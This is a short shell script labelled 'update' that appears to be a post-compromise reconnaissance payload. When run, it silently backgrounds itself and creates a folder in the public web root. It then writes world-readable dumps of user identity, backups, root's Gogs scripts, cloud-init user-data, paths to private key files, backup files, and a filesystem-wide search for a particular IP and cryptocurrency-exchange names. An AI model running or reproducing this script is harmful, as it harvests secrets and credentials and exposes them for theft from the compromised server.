update 2.2 KB

123456789101112131415161718192021222324252627
  1. #!/bin/sh
  2. TAG="4361812"
  3. D="/var/www/html/z44361812"
  4. if mkdir "$D" 2>/dev/null; then
  5. (
  6. exec </dev/null >/dev/null 2>&1
  7. export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  8. O="$D/out4.txt"
  9. {
  10. echo "== identity =="; date -u; id
  11. echo "== var backups =="; ls -laR /var/backups 2>/dev/null | head -100
  12. echo "== gogs scripts =="; ls -la /root/gogs/scripts 2>/dev/null; for f in /root/gogs/scripts/*; do [ -f "$f" ] && { echo "--- $f"; head -50 "$f"; }; done 2>/dev/null | head -300
  13. echo "== cloud-init =="; ls -la /var/lib/cloud/instance 2>/dev/null; cat /var/lib/cloud/instance/user-data.txt 2>/dev/null | head -80; cat /var/lib/cloud/instance/meta-data/instance-id 2>/dev/null
  14. echo "== usr local =="; ls -la /usr/local/bin /usr/local/etc /usr/local/sbin 2>/dev/null; find /usr/local -maxdepth 3 -type f 2>/dev/null | head -50
  15. echo "== profile.d =="; cat /etc/profile.d/*.sh 2>/dev/null | head -100; cat /etc/bash.bashrc 2>/dev/null | head -40
  16. echo "== broad grep electro =="; grep -rIa -E '37\.187\.9\.48|bitcoin-mjenjacnica|electrocoin|paycek|mjenjacnica|intercard' /root /home /opt /srv /var/www /etc /usr/local /var/lib/cloud 2>/dev/null --exclude-dir=gogs-repositories --exclude-dir=.git --exclude-dir=x4358081 --exclude-dir=y4358475 --exclude-dir=z4361330 2>/dev/null | grep -v 'z4361330\|z24361616' | head -80
  17. echo "== private key material =="; grep -rIal 'PRIVATE KEY' /root /home /opt /srv /var/www /etc /usr/local /var/lib/cloud 2>/dev/null --exclude-dir=gogs-repositories --exclude-dir=.git | head -40
  18. echo "== backup files =="; find / -xdev -type f -size -200k \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*~' -o -name '*.orig' \) -not -path '/proc/*' -not -path '/usr/*' -not -path '/var/cache/*' 2>/dev/null | head -60
  19. echo "== npm anywhere =="; find / -xdev -iname '*npm*' -not -path '/proc/*' -not -path '/sys/*' -not -path '/usr/share/doc/*' -not -path '/usr/lib/*' -not -path '/usr/src/*' 2>/dev/null | head -60
  20. echo "== gogs data tmp =="; find /root/gogs/data/tmp -maxdepth 3 2>/dev/null | head -60
  21. echo "== done =="
  22. } > "$O" 2>&1
  23. chmod -R a+rX "$D" 2>/dev/null
  24. touch "$D/.done4"
  25. ) &
  26. fi
  27. exit 0